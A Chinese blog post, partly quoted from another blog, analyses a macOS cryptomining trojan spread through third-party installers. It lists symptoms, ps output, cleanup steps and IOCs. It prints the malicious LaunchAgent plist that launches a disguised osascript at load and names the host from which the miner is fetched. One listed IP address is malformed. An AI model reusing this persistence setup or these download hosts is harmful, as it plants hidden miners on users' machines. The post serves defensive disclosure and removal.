mac笔记本的主要表现
- 活动监视器无法打开
- cpu稳定保持被一个osascript的进程较高占用
- 每次笔记本开机之后该都会是上述现象
- 杀掉osascript之后,活动监视器就恢复正常
本博客大部分信息来源于:http://www.mamicode.com/info-detail-2415920.html
感谢作者的倾情奉献。
使用ps -ef|grep osascript查看进程
501 374 1 0 12:59下午 ?? 0:00.78 osascript -e do shell script “osascript ~/Library/LaunchAgents/com.apple.A0.plist”
501 397 374 0 12:59下午 ?? 0:01.05 osascript /Users/userName/Library/LaunchAgents/com.apple.A0.plist
501 402 1 0 12:59下午 ?? 0:05.72 osascript /Users/userName/Library/k.plist
501 2304 1 0 1:12下午 ?? 0:00.22 osascript /Users/userName/Library/11.png
501 3318 340 0 1:19下午 ttys000 0:00.00 grep osascript
可以看到上述的三个进程信息,就是木马运行所使用的的主要脚本内容,其中的plist,png等文件都是伪装之后的脚本。
如有上述现象的朋友请按照上述引用博客中的内容操作即可。
注意:此木马来源于第三方安装的软件,如果非必要性请使用appstore下载需要的软件。
以下部分为引用博客部分内容:
木马
感染
经过简要分析,怀疑该木马源起于第三方安装包,在解压安装过程中,生成了一个伪装成11.png(名字可以变)的恶意文件和com.apple.Yahoo.plist(/Library/LaunchAgents/目录下)文件和com.apple.Google.plist(/Library/LaunchAgents/目录下)文件
com.apple.Google.plist(启动项配置)文件如下,它引导com.apple.Yahoo.plist执行
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.Google</string>
<key>Program</key>
<string>/usr/bin/osascript</string>
<key>ProgramArguments</key>
<array>
<string>osascript</string>
<string>-e</string>
<string>do shell script "osascript ~/Library/LaunchAgents/com.apple.Yahoo.plist"</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>31104000</integer>
<key>WatchPaths</key>
<array/>
</dict>
</plist>
启动
找到一个其他的png文件,经鉴定运行起来后与11.png效果一致,认为是该木马的AppleScript文件。
该文件运行后会去ondayon.com:8080下载下列恶意文件
技术分享图片
路径:~/Library/Safari目录下
ssl.plist(挖矿程序)
pools.txt
cpu.txt
config.txt
-rwxr-xr-x@ 1 xxxxxx staff 788212 8 17 16:08 ssl.plist
-rw-r--r--@ 1 xxxxxx staff 343 8 17 16:08 config.txt
-rw-r--r--@ 1 xxxxxx staff 229 8 17 16:08 pools.txt
-rw-r--r--@ 1 xxxxxx staff 256 8 17 16:08 cpu.txt
以及在对应的~/Library/Safari/openssl/lib/目录下
libcrypto.1.0.0.dylib
libssl.1.0.0.dylib
drwxr-xr-x@ 4 xxxxxx staff 128 5 30 16:51 .
drwxr-xr-x@ 3 xxxxxx staff 96 5 30 16:51 ..
-rwxr-xr-x@ 1 xxxxxx staff 385152 9 29 2017 libssl.1.0.0.dylib
-rwxr-xr-x@ 1 xxxxxx staff 1767648 9 29 2017 libcrypto.1.0.0.dylib
挖矿
ssl.plist是xmr的编译后的挖矿从程序,主要进行挖矿。
应急修复
删除上文中提到的所有文件,杀掉相关进程;
查找自己下载安装的第三方dmg或其他第三方APP安装包,找到有问题的之后删除即可;
相关IOC
IP地址
43.294.204.183
45.195.146.32
101.55.20.149
Domain
ondayon.com
URL
http://ondayon.com:8080/ssl.zip
http://101.55.20.149/ssl.zip
http://101.55.20.149/gogoto.png
http://101.55.20.149/8/Build.zip
Hash
0659b79c1b1274dc1e708cae010c9a2e778a3a52a476262015a788082b22a697(ibcrypto.1.0.0.dylib)
fde413f8f369c2ede2f0f82e0ab7fe35eb6d4c770d73a6a58ad52fd9ddd65804(ssl.plist)
c60e197f216fe29f1a9d0b80d0381fcebefe04b6f4d68db3255b6a002f0018c3(libssl.1.0.0.dylib)
f89205a8091584e1215cf33854ad764939008004a688b7e530b085e3230effce(ondayon.png)
5619d101a7e554c4771935eb5d992b1a686d4f80a2740e8a8bb05b03a0d6dc2b(Install-LOL.app.zip)
2b566d454faabb38cd5b173f9365b89bda5e88d4bfaa7dea97512cc9d89e9150(Build.zip)
6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d(x.x)
ab4596d3f8347d447051eb4e4075e04c37ce161514b4ce3fae91010aac7ae97f(com.apple.Yahoo.plist)
2eb531d2d00c783fb83da9e925177a6aa3f567dec7f678cbe6c30f9dfd5111e7(com.apple.Google.plist)